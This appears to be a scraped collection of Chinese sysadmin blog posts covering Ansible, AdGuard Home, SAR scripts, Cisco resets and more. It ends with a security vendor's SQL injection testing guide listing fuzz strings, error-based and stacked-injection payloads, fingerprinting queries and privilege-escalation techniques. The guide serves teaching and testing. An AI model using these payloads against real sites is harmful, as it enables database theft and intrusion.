...),而是应使用HttpServletResponse提供的专用方法addCookie。参见下文有关Cookie设置的讨论。 WWW-Authenticate 客户应该在Authorization头中提供什么类型的授权信息?在包含401(Unauthorized)状态行的应答中这个头是必需的。例如,response.setHeader("WWW-Authenticate", "BASIC realm=\"executives\"")。 注意Servlet一般不进行这方面的处理,而是让Web服务器的专门机制来控制受密码保护页面的访问(例如.htaccess)。
本文原创地址: https://www.linuxprobe.com/http-response-headers.html
系统运维
2019-09-30 13:19:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
Matthew Miller宣布发布Fedora 31 Beta。它不仅准时,而且还带来许多激动人心的更新。Fedora 31 Beta附带全新的GNOME 3.34桌面及其许多改进/功能,这对于更好的性能和Wayland会话增强尤其令人兴奋。 Fedora 31还推出了新的IoT版本,Fedora CoreOS已被带入F31领域,以及各种其他软件包更新,多个软件包更新以及多个体系结构的构建。

对于此测试版,i686(x86)安装媒体已被删除。Fedora 31取消了他们的i686内核支持和32位所有/模块存储库,从而有效地终止了对i686硬件上运行Fedora的支持,同时32位软件将继续在Fedora x86_64安装上运行。此测试版还引入了新的物联网(IoT)构建。

GNOME桌面环境的最新版本充满了性能增强和改进。测试版附带预发行版,完整的3.34版本将作为更新提供。
有关GNOME 3.34亮点的完整列表,请参阅发行说明。
Fedora IoT Edition:Fedora版本解决了Fedora委员会在增加用户群和社区方面的重要用例。我们有Workstation,Server和CoreOS - 现在我们正在添加Fedora IoT。这将是主要的在F31的最终版本准备就绪时获取Fedora站点,但是现在,从iot.fedoraproject.org获取它。在我们的入门文档中阅读有关Fedora IoT的更多信息。
https://www.admin5.com/article/20190929/927140.shtml
http://www.51cto.com/it/news/2019/0929/15113.html
系统运维
2019-09-30 12:21:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
1、使用全新的命令行工具 nmcli 来设置
显示当前网络连接 nmcli connection show
修改当前网络连接对应的DNS服务器,这里的网络连接可以用名称或者UUID来标识,二个NDS根据需求修改,一般添加这二个就可以。 nmcli con mod ens192 ipv4.dns "114.114.114.114 8.8.8.8"
将dns配置生效 nmcli con up ens192
2、使用传统方法
修改 /etc/NetworkManager/NetworkManager.conf 文件,在main部分添加 “dns=none” 选项: [main] plugins=ifcfg-rh dns=none
NetworkManager重新装载上面修改的配置 systemctl restart NetworkManager.service
手工修改 /etc/resolv.conf nameserver 114.114.114.114 nameserver 8.8.8.8
系统运维
2019-09-30 11:11:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
1. 安装方式 Ubuntu $ sudo apt-get install -y ansible CentOS $ sudo yum install -y ansible MacOS $ brew install ansible Container $ docker pull ansible/ansible
2. 配置方式
在大规模的配置管理工作中我们需要管理不同业务的机器,这些机器的信息都存放在ansible的inventory组件里。在我们工作中配置部署针对的主机必须先存放在inventory里,这样才能使用ansible对它进行操作。
默认ansible的inventory是一个静态的init文件 /etc/ansible/hosts ,亦可通过ANSIBLE_HOSTS环境变量指定或者命令运行时用-i参数临时设置。 $ cat /etc/ansible/hosts 100.0.0.1 ansible_ssh_pass='123456' 100.0.0.2 ansible_ssh_pass='123456' [docker] 100.0.0.1[1:3] [docker:vars] ansible_ssh_pass='123456' [ansible:children] docker 第一、二行定义一个主机,指定ssh登录密码 第三行定义了一个叫docker的组 第四行定义了docker组下面四个主机从100.0.0.11-100.0.0.13 第五、六行定义了docker组的ssh登录密码 第七、八行定义了ansible组,ansible组包含docker组
3. 控制方式
Ad-Hoc Command
命令格式: ansible [options] ping模块
作用:判断远程主机的网络是否畅通 $ ansible 100.0.0.1 -m ping 100.0.0.1 | SUCCESS => { "changed": false, "ping": "pong" } copy模块
作用:将ansible执行机器上的文件拷贝到远程节点 //[-a]:表示args的意思 $ ansible 100.0.0.1 -m copy -a 'src=/root/install.log dest=/tmp/install.log owner=testuser group=testgroup' 100.0.0.1 | success >> { "changed": true, "checksum": "7b3626c84bb02d12472c03d2ece878fdc4756c94", "dest": "/tmp/install.log", "gid": 1100, "group": "testgroup", "md5sum": "c7d8a01a077940859e773b7770d2e07e", "mode": "0644", "owner": "testuser", "size": 9458, "src": "/root/.ansible/tmp/ansible-tmp-1456387213.94-229503410500766/source", "state": "file", "uid": 1000 } shell模块
作用:它负责在被ansible控制的节点执行命令行。shell 模块是通过/bin/sh进行执行,所以shell 模块可以执行任何命令,就像在本机执行一样 //[-i]:后面跟的是inventory档案,表示指定inventory //指令解释:先cd到某个需要编译的目录,执行condifgure然后,编译,然后安装 $ ansible -i hosts all -m shell -a "./configure && make && make insatll" chdir=/xxx/yyy command模块
作用:command 模块用于运行系统命令。不支持管道符和变量等("<", ">", "|", and "&"等),如果要使用这些,那么可以使用shell模块。在使用ansible中的时候,默认的模块是-m command,从而模块的参数不需要填写,直接使用即可 //命令解释:ansible命令行调用-m command模块 -a表示使用参数 “”内的为执行的command命令,该命令会将hosts定义的所有节点都会执行关机 $ ansible -i hosts all -m command -a "/sbin/shutdown -t now" raw模块
作用:raw模块的功能与shell和command类似。但raw模块运行时不需要在远程主机上配置python环境 $ ansible 100.0.0.1 -m raw-a 'hostname|tee' fetch模块
作用:文件拉取模块主要是将远程主机中的文件拷贝到本机中,和copy模块的作用刚刚相反,并且在保存的时候使用hostname来进行保存,当文件不存在的时候,会出现错误,除非设置了选项fail_on_missing为yes $ ansible pythonserver -m fetch -a "src=/root/123 dest=/root" SSH password: 100.0.0.1 | success >> { "changed": true, "dest": "/root/100.0.0.1/root/123", "md5sum": "31be5a34915d52fe0a433d9278e99cac", "remote_md5sum": "31be5a34915d52fe0a433d9278e99cac" } file模块
作用:主要用来设置文件、链接、目录的属性,或者移除文件、链接、目录,很多其他的模块也会包含这种作用,例如copy,assemble和template $ ansible 100.0.0.1 -m file -a "path=/root/123 owner=kel group=kel mode=0644" SSH password: 100.0.0.1 | success >> { "changed": true, "gid": 500, "group": "kel", "mode": "0644", "owner": "kel", "path": "/root/123", "size": 294, "state": "file", "uid": 500 } service模块
作用:service模块其实就是linux下的service命令。用于service服务管理 //启动服务 $ ansible 100.0.0.1 -m service -a "name=httpd state=started" host31 | SUCCESS => { "changed": true, "name": "httpd", "state": "started" } //停止服务 $ ansible 100.0.0.1 -m service -a "name=httpd state=stopped" host31 | SUCCESS => { "changed": true, "name": "httpd", "state": "stopped" } 除了以上模块外,还有cron模块、user模块、group模块、script模块、get_url模块、synchronize模块、mount模块、unarchive模块(解压文件模块)等
Playbook $ cat hello_world.yml --- - name: say 'hello world' hosts: all tasks: - name: echo 'hello world' command: echo 'hello world' register: result - name: print stdout debug: msg: "" $ ansible-playbook hello_world.yml PLAY [say 'hello world'] ******************************************************* TASK [setup] ******************************************************************* ok: [server1] TASK [echo 'hello world'] ****************************************************** changed: [server1] TASK [print stdout] ************************************************************ ok: [server1] => { "msg": "hello world" } PLAY RECAP ********************************************************************* 100.0.0.1 : ok=3 changed=1 unreachable=0 failed=0
系统运维
2019-09-30 10:53:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
替换从service-base-url开始,后面所有的字符

sed -i 's/\(service-base-url.*\)/service-base-url: http:www.baidu.com/g' /opt/tomcat9/webapps/aaf/WEB-INF/classes/application-local.yml
系统运维
2019-09-30 10:48:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
本文首发于:微信公众号「运维之美」,公众号 ID:Hi-Linux。
「运维之美」是一个有情怀、有态度,专注于 Linux 运维相关技术文章分享的公众号。公众号致力于为广大运维工作者分享各类技术文章和发布最前沿的科技信息。公众号的核心理念是:分享,我们认为只有分享才能使我们的团体更强大。如果你想第一时间获取最新技术文章,欢迎关注我们!
公众号作者 Mike,一个月薪 3000 的杂工。从事 IT 相关工作 15+ 年,热衷于互联网技术领域,认同开源文化,对运维相关技术有自己独特的见解。很愿意将自己积累的经验、心得、技能与大家分享交流,篇篇干货不要错过哟。如果你想联系到我,可关注公众号获取相关信息。
什么是 AdGuard Home
AdGuard Home 是一款全网广告拦截与反跟踪软件, AdGuard Home 项目是著名广告拦截器提供商 AdGuard 开源的一个 DNS Server 版本。 AdGuard Home 可以将广告与追踪相关的域名屏蔽,同时你不再需要安装任何客户端软件。 AdGuard Home 的工作原理是在 DNS 的域名解析过程里拦截网页上的广告。
简单来说 AdGuard Home 是一个支持广告过滤和家长控制的开源公共 DNS 服务,如同 Google 的公共 DNS 服务 8.8.8.8。 AdGuard Home 同时也支持 DNS over TLS 和 DNS over HTTPS 。
> 项目地址: https://github.com/AdguardTeam/AdGuardHome
AdGuard Home 的主要功能介绍 拦截随处可见的广告 注重隐私保护 家庭保护模式 自定义过滤规则
在继续讲解前,我们先来看一看 AdGuard Home 强大的功能演示和管理后台。
安装 AdGuard Home
AdGuard Home 使用 Golang 开发,具有良好的原生跨平台性。它可以部署在 X86 架构的各种操作系统上,也可以部署在树莓派上,甚至你还可以借助 Docker 部署在群晖 NAS 上。
使用预编译的二进制版本安装
这里我们以 Linux 系统为例,其它系统可参考官方帮助文档: https://github.com/AdguardTeam/AdGuardHome/wiki/Getting-Started#installation 。 # 下载并解压 AdGuard Home $ wget https://github.com/AdguardTeam/AdGuardHome/releases/download/v0.98.1/AdGuardHome_linux_amd64.tar.gz $ tar -zxvf AdGuardHome_linux_amd64.tar.gz # 为了方便使用,我们将二进制文件拷贝到 PATH 所包含的位置 $ cd AdGuardHome_linux_amd64 $ cp ./AdGuardHome /usr/local/bin/ # 启动 AdGuard Home $ AdGuardHome
上面的方法,很显然是在前台运行的。前台运行必然还是存在一些弊端的,比如:当前 SHELL 中断必然会引起程序中断等。如果你想长期稳定的运行 AdGuard Home ,最后好方法必然是将 AdGuard Home 运行成一个服务。要想将 AdGuard Home 在各平台部署为服务也是很简单的,只需运行下面这一条命令就可实现。 # Linux 下使用的服务管理器是 systemd 、Upstart 或 SysV,macOS 下使用的服务管理器是 Launchd。 $ AdGuardHome -s install
AdGuard Home 服务安装后好,你可以使用以下命令来管理它。 # 启动 AdGuardHome 服务 $ AdGuardHome -s start # 停止 AdGuardHome 服务 $ AdGuardHome -s stop # 重启 AdGuardHome 服务 $ AdGuardHome -s restart # 查看 AdGuardHome 服务状态 $ AdGuardHome -s status # 卸载 AdGuardHome 服务 $ AdGuardHome -s uninstall
使用 Docker 来安装
如果你会一点点 Docker 知识的话,我们当然还是建议你直接使用 Docker 来安装。虽然通过预编译的二进制版本安装已经很简单了,但如果使用 Docker 来安装,你会发现仅仅只需一条指令就可以搞定了。 $ docker pull adguard/adguardhome # -v 参数后面指定的宿主机上的目录主要用作永久保存 AdGuard Home 的数据文件和配置文件,可自行根据实际情况修改。 $ docker run --name adguardhome -v /home/mike/workdir:/opt/adguardhome/work -v /home/mike/confdir:/opt/adguardhome/conf -p 53:53/tcp -p 53:53/udp -p 67:67/udp -p 68:68/tcp -p 68:68/udp -p 80:80/tcp -p 443:443/tcp -p 853:853/tcp -p 3000:3000/tcp -d adguard/adguardhome
你可能会发现上面一共是两条指令,前面不是说好了是一条指令的吗?是不是发现被骗了,我怎么可能骗你呢,这绝对是不可能的!其实这两条指令,你只需直接执行第 2 条指令就可以完成所有安装操作了。这里分开写出来仅仅是为了完整演示 Docker 整个运行过程,能让一些还不会 Docker 的同学能更容易理解一些。前面既然啰嗦了这么多,这里就再延伸说一点 Docker 容器的基本管理操作。 # 启动 AdGuard Home 容器 $ docker start adguardhome # 停止 AdGuard Home 容器 $ docker stop adguardhome # 删除 AdGuard Home 容器 $ docker rm adguardhome
使用 AdGuard Home
使用默认配置来设置 AdGuard Home
运行 AdGuard Home 后,我们需要通过浏览器打开 http://IP:3000 对 AdGuard Home 进行初始化设置。首次初始化会要求设置服务运行端口、账号、密码等信息,配置过程中设置的密码一定请牢记,下次登录管理后台时需要使用。
首先,我们点击 “开始配置” ,来设定网页管理界面和 DNS 服务的端口。
其次,点击 “下一步” 后,为 AdGuard Home 网页管理界面设置一个用户名和密码。
最后,点击 “下一步” 后, AdGuard Home 会展示以上配置的汇总信息。
至此,使用 AdGuard Home 默认配置的设置就算大功告成了。
使用 AdGuard Home 默认配置设置完成后,我们可以在「仪表盘」上看到 DNS 查询次数、被过滤器封锁的网站、查询 DNS 请求的客户端 IP 地址等等信息。
AdGuard Home 配置进阶
AdGuard Home 默认的配置比较简单,为了更强力地拦截广告,我们可以对 AdGuard Home 配置进行一些优化。 常规设置
AdGuard Home 默认配置的情况下只勾选了「使用过滤器和 Hosts 文件以拦截指定域名」这一个选项,你可以根据自身情况决定是否启用「使用 AdGuard 浏览安全网页服务」、「使用 AdGuard 家长控制服务」和「强制安全搜索」等特性。
不仅如此,你还可以很方便的屏蔽一些比较流行的网站。当然这些网站本来对我们都是不可用的,也就不用多此一举进行设置了,哈哈!
设置上游 DNS
AdGuard Home 默认使用 Cloudflare 的 DNS over HTTPS 作为上游服务器。如果你在国内使用 Cloudflare DNS 做为上游 DNS ,可能延迟会比较高。
我们可以设置为国内的公共 DNS ,如:腾讯的 119.29.29.29 、阿里的 223.5.5.5 和 114.114.114.114 等,但坏处是这些国内公共 DNS 暂时不支持 DNS over TLS 。
这里有一个比较折中的解决方法就是通过启用 「通过同时查询所有上游服务器以使用并行查询加速解析」选项来在每次查询的时候对所有的上游 DNS 同时查询,以加速解析速度。
过滤器
虽然 AdGuard Home 本身内置了比较知名的 AdGuard 、 AdAway 广告过滤规则,但这些规则在国内显然有点水土不服。如果你想要更完美的实现广告屏蔽还需要自己添加规则,比较幸运的是 AdGuard Home 是可以兼容 Adblock 过滤规则语法的。这样,你就可以很方便的使用一些比较知名的 Adblock 过滤规则,比如:由 Adblock Plus 团队维护的 EasyList 。

目前好用的广告过滤规则还是有很多的,它们都针对不同的用途。下面推荐一些比较常用的:
> 1. EasyList China : 国内网站广告过滤的主规则。 > > 链接: https://easylist-downloads.adblockplus.org/easylistchina.txt > > 2. EasyPrivacy : EasyPrivacy 是隐私保护,不被跟踪。 > > 链接: https://easylist-downloads.adblockplus.org/easyprivacy.txt > > 3. CJX's Annoyance List : 过滤烦人的自我推广,并补充 EasyPrivacy 隐私规则。 > > 链接: https://raw.githubusercontent.com/cjx82630/cjxlist/master/cjx-annoyance.txt > > 4. 广告净化器规则 : 支持国内大部分视频网站的广告过滤。 > > 链接: http://tools.yiclear.com/ChinaList2.0.txt > > 5. I don't care about cookies : 我不关心 Cookie 的问题,屏蔽网站的 cookies 相关的警告。 > > 链接: https://www.i-dont-care-about-cookies.eu/abp/
除了使用已有的过滤规则外,当然你也可以根据自己的需求自定义过滤规则,要自定义过滤规则其实也很简单。
下面是自定义过滤规则的一些语法说明。 ||example.org^ – 拦截 example.org 域名及其所有子域名 @@||example.org^ – 放行 example.org 及其所有子域名 127.0.0.1 example.org – 将会把 example.org(但不包括它的子域名)解析到 127.0.0.1。 ! 注释符号,表示这是一行注释 # 这也是注释符号,同样表示这是一行注释 /REGEX/ – 正则表达式模式
更多规则可以参考官方帮助文档: https://kb.adguard.com/en/general/dns-filtering-syntax 查询日志
AdGuard Home 管理界面中也为我们提供了 DNS 请求日志查询功能,在这里,我们不但能看见所有设备最近 5000 条的 DNS 请求日志记录。你还可以根据 DNS 请求日志记录来针对某个域名进行快速的拦截和放行操作。
调整配置参数,以提升 QPS 能力
AdGuard Home 所有的配置参数都保存在一个名为 AdGuardHome.yaml 的配置文件中。这个配置文件默认路径通常为 AdGuard Home 二进制文件 AdGuardHome 所在的目录,比如: /usr/local/bin/AdGuardHome.yaml 。
这里我们只需调整以下两个参数,就是可以明显提升 AdGuard Home 的 QPS 能力。 ratelimit : DDoS 保护,客户端每秒接收的数据包数。默认值是 20,建议禁用该参数(将值改为 0)。 blocked_response_ttl : TTL 缓存时间,默认值是 10,建议设置为 60 。
这里在把 AdGuard Home 的配置文件完整版本也展示一下,有兴趣的同学可以自行研究下其它参数的用途哟!。 $ cat AdGuardHome.yaml bind_host: 0.0.0.0 bind_port: 80 auth_name: mike auth_pass: "123456" language: zh-cn rlimit_nofile: 0 dns: bind_host: 0.0.0.0 port: 53 protection_enabled: true filtering_enabled: true blocking_mode: nxdomain blocked_response_ttl: 60 querylog_enabled: true ratelimit: 0 ratelimit_whitelist: [] refuse_any: true bootstrap_dns: - 1.1.1.1:53 - 1.0.0.1:53 all_servers: true allowed_clients: [] disallowed_clients: [] blocked_hosts: [] parental_block_host: "" safebrowsing_block_host: "" blocked_services: [] parental_sensitivity: 13 parental_enabled: true safesearch_enabled: true safebrowsing_enabled: true resolveraddress: "" rewrites: [] upstream_dns: - https://1.1.1.1/dns-query - https://1.0.0.1/dns-query - 119.29.29.29 - 223.5.5.5 tls: enabled: false server_name: "" force_https: false port_https: 443 port_dns_over_tls: 853 certificate_chain: "" private_key: "" filters: - enabled: true url: https://adguardteam.github.io/AdGuardSDNSFilter/Filters/filter.txt name: AdGuard Simplified Domain Names filter id: 1 - enabled: false url: https://adaway.org/hosts.txt name: AdAway id: 2 - enabled: false url: https://hosts-file.net/ad_servers.txt name: hpHosts - Ad and Tracking servers only id: 3 - enabled: false url: https://www.malwaredomainlist.com/hostslist/hosts.txt name: MalwareDomainList.com Hosts List id: 4 - enabled: true url: https://easylist-downloads.adblockplus.org/easylistchina.txt name: EasyList China id: 1569209532 user_rules: - '@@mps.ts' dhcp: enabled: false interface_name: "" gateway_ip: "" subnet_mask: "" range_start: "" range_end: "" lease_duration: 86400 icmp_timeout_msec: 1000 clients: [] log_file: "" verbose: false schema_version: 4
设置客户端 DNS
所有以上设置完成后,最后当然是修改所有客户端的 DNS 设置,来享用 AdGuard Home 带来的强大的去广告功能。
这个其实真的不用写,我想聪明的你应该都知道这个怎么设置。写这个标题仅仅是为了保持文档完整性,如果你真的不会设置,那就请自行使用「 一些好用 」的搜索引擎搜索相关方法吧!
总结
AdGuard Home 不但支持了 macOS 、 Windows 、 Linux 、树莓派等多个系统平台,也提供了二进制和 Docker 的部署方式,让安装变得非常简单。 AdGuard Home 自身提供的强大和直观的管理和统计系统,让它使用起来也是非常方便的。如果你打算自建一个支持去广告功能的公共 DNS , AdGuard Home 是非常值得一试的不二选择。
参考文档 https://www.google.com https://zhuanlan.zhihu.com/p/56804257 https://www.xiaoz.me/archives/12318 https://www.yangcs.net/posts/adguard-home/ https://github.com/AdguardTeam/AdGuardHome#getting-started
系统运维
2019-09-30 10:46:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
1、通过ipmi进入控制台
2、点击“虚拟控制台”--》"虚拟控制台",此时会下载一个文件,下载完成后,双击打开


3、远程登陆后,设置下次引导项为pxe
此时reboot,看界面,多敲几下“F12”,如下图
4、查看dnsmasq管理端,出现DHCPREQUEST和ACK即表示,pxe客户端已经正常获取到pxe服务器端的信息,正在安装系统
5、看见这个界面,即系统安装完毕,回车下就行了。此时系统会重启
6、查看服务器启动是否为“正常启动”
如果有其他不明白的可以关注我私人博客www.zqliublog.com哈,私信,大家一起交流
系统运维
2019-09-30 10:44:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
为持续完善完善网络设备的安全性能和响应国家网络信息安全的要求,对网络设备的密码策略进行调整,增加“首次开机初始化”、“密码重置”功能。意在提升用户的信息安全意识,规避默认密码或弱密码带来的安全风险。
清除设备启动配置文件 #erase startup-config Erasing the nvram filesystem will remove all configuration files! Continue? [confirm] #提示将要清除配置文件是否继续,直接按回车继续即可。
重启设备 #reload Proceed with reload? [confirm] #提示重启是否继续,直接按回车即可。
如果是交换机还需要删除VLAN数据库文件,因为交换机的VLAN数据库文件和启动配置文件是分开存放的。
删除VLAN数据库文件 #delete flash:vlan.dat Delete filename [vlan.dat]? #提示删除文件名称是否确认,确认无误直接按回车即可。 Delete flash:vlan.dat? [confirm] #提示删除VLAN数据库文件是否继续,直接按回车即可。 #reload #重启设备 Proceed with reload? [confirm] #提示重启是否继续,直接按回车即可。 本文地址: https://www.linuxprobe.com/cisco-router-switch.html
系统运维
2019-09-30 10:32:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
大多数 Linux 管理员使用 SAR 报告监控系统性能,因为它会收集一周的性能数据。但是,你可以通过更改 [neiqian]/etc/sysconfig/sysstat[/neiqian] 文件轻松地将其延长到四周。同样,这段时间可以延长一个月以上。如果超过 28,那么日志文件将放在多个目录中,每月一个。

要将覆盖期延长至 28 天,请对/etc/sysconfig/sysstat 文件做以下更改。
编辑 sysstat 文件并将 HISTORY=7 更改为 HISTORY=28。
在本文中,我们添加了三个 bash 脚本 ,它们可以帮助你在一个地方轻松查看每个数据文件的平均值。
我们过去加过许多有用的 shell 脚本 。如果你想查看它们,请进入下面的链接。
如何使用 shell 脚本自动化日常操作
这些脚本简单明了。出于测试目的,我们仅包括两个性能指标,即 CPU 和内存。你可以修改脚本中的其他性能指标以满足你的需求。
脚本 1:从 SAR 报告中获取平均 CPU 利用率的 Bash 脚本
该 bash 脚本从每个数据文件中收集 CPU 平均值并将其显示在一个页面上。
由于是月末,它显示了 2019 年 8 月的 28 天数据。 # vi /opt/scripts/sar-cpu-avg.sh #!/bin/sh echo "+----------------------------------------------------------------------------------+" echo "|Average: CPU %user %nice %system %iowait %steal %idle |" echo "+----------------------------------------------------------------------------------+" for file in `ls -tr /var/log/sa/sa* | grep -v sar` do dat=`sar -f $file | head -n 1 | awk '{print $4}'` echo -n $dat sar -f $file | grep -i Average | sed "s/Average://" done echo "+----------------------------------------------------------------------------------+"
运行脚本后,你将看到如下输出。 # sh /opt/scripts/sar-cpu-avg.sh +----------------------------------------------------------------------------------+ |Average: CPU %user %nice %system %iowait %steal %idle | +----------------------------------------------------------------------------------+ 08/01/2019 all 0.70 0.00 1.19 0.00 0.00 98.10 08/02/2019 all 1.73 0.00 3.16 0.01 0.00 95.10 08/03/2019 all 1.73 0.00 3.16 0.01 0.00 95.11 08/04/2019 all 1.02 0.00 1.80 0.00 0.00 97.18 08/05/2019 all 0.68 0.00 1.08 0.01 0.00 98.24 08/06/2019 all 0.71 0.00 1.17 0.00 0.00 98.12 08/07/2019 all 1.79 0.00 3.17 0.01 0.00 95.03 08/08/2019 all 1.78 0.00 3.14 0.01 0.00 95.08 08/09/2019 all 1.07 0.00 1.82 0.00 0.00 97.10 08/10/2019 all 0.38 0.00 0.50 0.00 0.00 99.12 . . . 08/29/2019 all 1.50 0.00 2.33 0.00 0.00 96.17 08/30/2019 all 2.32 0.00 3.47 0.01 0.00 94.20 +----------------------------------------------------------------------------------+
脚本 2:从 SAR 报告中获取平均内存利用率的 Bash 脚本
该 bash 脚本从每个数据文件中收集内存平均值并将其显示在一个页面上。
由于是月末,它显示了 2019 年 8 月的 28 天数据。 # vi /opt/scripts/sar-memory-avg.sh #!/bin/sh echo "+-------------------------------------------------------------------------------------------------------------------+" echo "|Average: kbmemfree kbmemused %memused kbbuffers kbcached kbcommit %commit kbactive kbinact kbdirty |" echo "+-------------------------------------------------------------------------------------------------------------------+" for file in `ls -tr /var/log/sa/sa* | grep -v sar` do dat=`sar -f $file | head -n 1 | awk '{print $4}'` echo -n $dat sar -r -f $file | grep -i Average | sed "s/Average://" done echo "+-------------------------------------------------------------------------------------------------------------------+"
运行脚本后,你将看到如下输出。 # sh /opt/scripts/sar-memory-avg.sh +--------------------------------------------------------------------------------------------------------------------+ |Average: kbmemfree kbmemused %memused kbbuffers kbcached kbcommit %commit kbactive kbinact kbdirty | +--------------------------------------------------------------------------------------------------------------------+ 08/01/2019 1492331 2388461 61.55 29888 1152142 1560615 12.72 1693031 380472 6 08/02/2019 1493126 2387666 61.53 29888 1147811 1569624 12.79 1696387 373346 3 08/03/2019 1489582 2391210 61.62 29888 1147076 1581711 12.89 1701480 370325 3 08/04/2019 1490403 2390389 61.60 29888 1148206 1569671 12.79 1697654 373484 4 08/05/2019 1484506 2396286 61.75 29888 1152409 1563804 12.75 1702424 374628 4 08/06/2019 1473593 2407199 62.03 29888 1151137 1577491 12.86 1715426 371000 8 08/07/2019 1467150 2413642 62.19 29888 1155639 1596653 13.01 1716900 372574 13 08/08/2019 1451366 2429426 62.60 29888 1162253 1604672 13.08 1725931 376998 5 08/09/2019 1451191 2429601 62.61 29888 1158696 1582192 12.90 1728819 371025 4 08/10/2019 1450050 2430742 62.64 29888 1160916 1579888 12.88 1729975 370844 5 . . . 08/29/2019 1365699 2515093 64.81 29888 1198832 1593567 12.99 1781733 376157 15 08/30/2019 1361920 2518872 64.91 29888 1200785 1595105 13.00 1784556 375641 8 +-------------------------------------------------------------------------------------------------------------------+
脚本 3:从 SAR 报告中获取 CPU 和内存平均利用率的 Bash 脚本
该 bash 脚本从每个数据文件中收集 CPU 和内存平均值并将其显示在一个页面上。
该脚本与上面相比稍微不同。它在同一位置同时显示两者(CPU 和内存)平均值,而不是其他数据。 # vi /opt/scripts/sar-cpu-mem-avg.sh #!/bin/bash for file in `ls -tr /var/log/sa/sa* | grep -v sar` do sar -f $file | head -n 1 | awk '{print $4}' echo "-----------" sar -u -f $file | awk '/Average:/{printf("CPU Average: %.2f%\n"), 100 - $8}' sar -r -f $file | awk '/Average:/{printf("Memory Average: %.2f%\n"),(($3-$5-$6)/($2+$3)) * 100 }' printf "\n" done
运行脚本后,你将看到如下输出。 # sh /opt/scripts/sar-cpu-mem-avg.sh 08/01/2019 ----------- CPU Average: 1.90% Memory Average: 31.09% 08/02/2019 ----------- CPU Average: 4.90% Memory Average: 31.18% 08/03/2019 ----------- CPU Average: 4.89% Memory Average: 31.29% 08/04/2019 ----------- CPU Average: 2.82% Memory Average: 31.24% 08/05/2019 ----------- CPU Average: 1.76% Memory Average: 31.28% . . . 08/29/2019 ----------- CPU Average: 3.83% Memory Average: 33.15% 08/30/2019 ----------- CPU Average: 5.80% Memory Average: 33.19%
via: https://www.2daygeek.com/linux-get-average-cpu-memory-utilization-from-sar-data-report/
作者:Magesh Maruthamuthu 选题:lujun9972 译者:geekpi 校对:wxy
本文由 LCTT 原创编译,Linux中国 荣誉推出 本文地址: https://www.linuxprobe.com/bash-sar-cpu-memory.html
系统运维
2019-09-30 10:22:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!
3.1 SQL注入漏洞
3.1.1. 注入分类
SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。
3.1.1.1. 按技巧分类
根据使用的技巧,SQL注入类型可分为 盲注 布尔盲注:只能从应用返回中推断语句执行后的布尔值 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断 报错注入:应用会显示全部或者部分的报错信息 堆叠注入:有的应用可以加入 ; 后一次执行多条语句 其他
3.1.1.2. 按获取数据的方式分类
另外也可以根据获取数据的方式分为3类 inband 利用Web应用来直接获取数据 如报错注入 都是通过站点的响应或者错误反馈来提取数据 inference 通过Web的一些反映来推断数据 如布尔盲注和堆叠注入 也就是我们通俗的盲注, 通过web应用的其他改变来推断数据 out of band(OOB) 通过其他传输方式来获得数据,比如DNS解析协议和电子邮件
3.1.2. 注入检测
3.1.2.1. 常见的注入点 GET/POST/PUT/DELETE参数 X-Forwarded-For 文件名
3.1.2.2. Fuzz注入点 ' / " 1/1 1/0 and 1=1 " and "1"="1 and 1=2 or 1=1 or 1= ' and '1'='1 + - ^ * % / << >> || | & && ~ ! @ 反引号执行
3.1.2.3. 测试用常量 @ @version @ @servername @ @language @ @spid
3.1.2.4. 测试列数
例如 域名/index.asp?id=12+union+select+nulll,null-- ,不断增加 null 至不返回
3.1.2.5. 报错注入 select 1/0 select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a extractvalue(1, concat(0x5c,(select user()))) updatexml(0x3a,concat(1,(select user())),1) exp(~(SELECT * from(select user())a)) ST_LatFromGeoHash((select * from(select * from(select user())a)b)) GTID_SUBSET(version(), 1)
3.1.2.5.1. 基于geometric的报错注入 GeometryCollection((select * from (select * from(select user())a)b)) polygon((select * from(select * from(select user())a)b)) multipoint((select * from(select * from(select user())a)b)) multilinestring((select * from(select * from(select user())a)b)) LINESTRING((select * from(select * from(select user())a)b)) multipolygon((select * from(select * from(select user())a)b))
其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
3.1.2.6. 堆叠注入 ;select 1
3.1.2.7. 注释符 # --+ /*xxx*/ /*!xxx*/ /*!50000xxx*/
3.1.2.8. 判断过滤规则 是否有trunc 是否过滤某个字符 是否过滤关键字 slash和编码
3.1.2.9. 获取信息 判断数据库类型 and exists (select * from msysobjects ) > 0 access数据库 and exists (select * from sysobjects ) > 0 SQLServer数据库 判断数据库表 and exsits (select * from admin) 版本、主机名、用户名、库名 表和字段 确定字段数(Order By Select Into) 表名、列名
3.1.2.10. 测试权限
文件操作 读敏感文件 写shell 带外通道 网络请求
3.1.3. 权限提升
3.1.3.1. UDF提权
UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。
当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。
3.1.4. 数据库检测
3.1.4.1. MySQL sleep sleep(1) benchmark BENCHMARK(5000000, MD5('test')) 字符串连接 SELECT 'a' 'b' SELECT CONCAT('some','string') version SELECT @ @version SELECT version() 识别用函数 connection_id() last_insert_id() row_count()
3.1.4.2. Oracle 字符串连接 'a'||'oracle' -- SELECT CONCAT('some','string') version SELECT banner FROM v$version SELECT banner FROM v$version WHERE rownum=1
